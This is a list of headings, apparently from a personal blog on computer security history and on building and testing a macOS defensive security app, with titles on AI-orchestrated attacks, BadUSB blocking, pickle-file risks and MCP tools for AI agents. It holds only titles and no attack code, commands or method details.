TCP/IP Was Never Designed With Security In Mind

PGP and the First Crypto War

1995, Mitnick and SATAN

Weakened Crypto Got Broken Anyway

The Day Stack Overflows Became Public Knowledge

From a Foreign Computer Company to a Japanese Manufacturer, Melissa to Log4Shell

What I Think Computer Security Actually Is

I Stopped Trusting the Headlines and Checked My Security App Against Real AI-Orchestrated Attacks

GTG-1002, where AI ran 80-90% of an espionage campaign itself

GTG-2002, where one person made AI the operator, not the advisor

ClickFix to MacSync/AMOS, the one that can actually hit an individual Mac

OpenClaw/ClawHavoc, when the target is the agent, not the human

What actually changed wasn't the bug class

I Ran a Fire Drill for Incident Response with a Local LLM (and Caught It Making Things Up)

1. RoamSwitch's MCP tools are read-only sensors, nothing more

2. Staging the incident in RoamSwitch's real state files

3. Watching the model build its own investigation

4. But one line in there should not be trusted at face value

5. What's left for the human isn't reading the report, it's verifying it

Your containers are not a security boundary, and CVE-2026-53362 just proved it

Running defensive security on a Clockwork uConsole, and why edge Linux needs its own shield

macOS is LEGO. Linux is Minecraft. Notes from building the same app in both.

The booklet, and the parts that don't fit

Spawning on empty ground

Assembly conventions

Earning a stranger's trust

Looking back

Dropping BadUSB Keystrokes on macOS Before They Open Spotlight

Why macOS Doesn't Stop This Out of the Box

The Quarantine Strategy: Drop Everything First

The Swift Implementation: Why User Space Wins Over DriverKit

1. Detecting Physical Insertion with IOHIDManager

2. Dropping Raw Keystrokes via CGEventTap

The Terrifying Gotcha: Don't Lock Out the Built-in Keyboard

What About Flash Drives?

The Physical Blind Spot

How I Used an Uncensored Local LLM for Adversarial QA on My macOS App

1. Why an uncensored local LLM for QA?

2. Three subtle edge cases the QA suite caught (v1.5.5)

1. Flagging a binary on one port implicitly trusted it on all other ports

2. Duplicate filenames broke ClamAV quarantine and left malware alive

3. Missing canaries were prematurely regenerated on app restart

3. Verified QA Results (v1.6.4)

4. Takeaways for solo QA

Hacking My Own Mac App: Penetration Testing macOS Defense Boundaries in a VM

Test Architecture: Host Mac ⇄ Target Guest VM

The 5 Defense Boundaries Tested

1. Privileged Helper XPC Boundary (§3)

2. Packet Filter (pf) Ruleset Priority & Air-Gap Containment (§4, §5)

3. Port Anomaly Guard & Exposure Detection (§6)

4. MCP Server Read-Only Invariant & Parser Fuzzing (§8)

5. ARP Gateway Monitor & Integrity (§11)

The Most Realistic Threat: Compromised Smart Home Devices

The Efficacy

Reproduce It Yourself: Open Source Audit Suite

What it felt like seeing it work

The Hidden Security Blind Spots in Local AI Workflows

1. The 0.0.0.0 Trap: Local AI Inference Servers Are Unauthenticated by Default

2. Accidental Clipboard Secret Leaks (Cmd+V Muscle Memory)

3. Can Downloading an AI Model Hack Your Mac? The Pickle Trap

Why .pkl and .pt files are hazardous

The Solution: SafeTensors and GGUF

4. Letting AI Audit Its Own Environment via MCP

Conclusion

Nobody searches for security apps. So I made mine a tool for AI agents instead.

The structural curse of security software

Flipping the script: from "sell to humans" to "feed AI agents"

1. Detecting Physical Insertion with `IOHIDManager`

2. Dropping Raw Keystrokes via `CGEventTap`

Why `.pkl` and `.pt` files are hazardous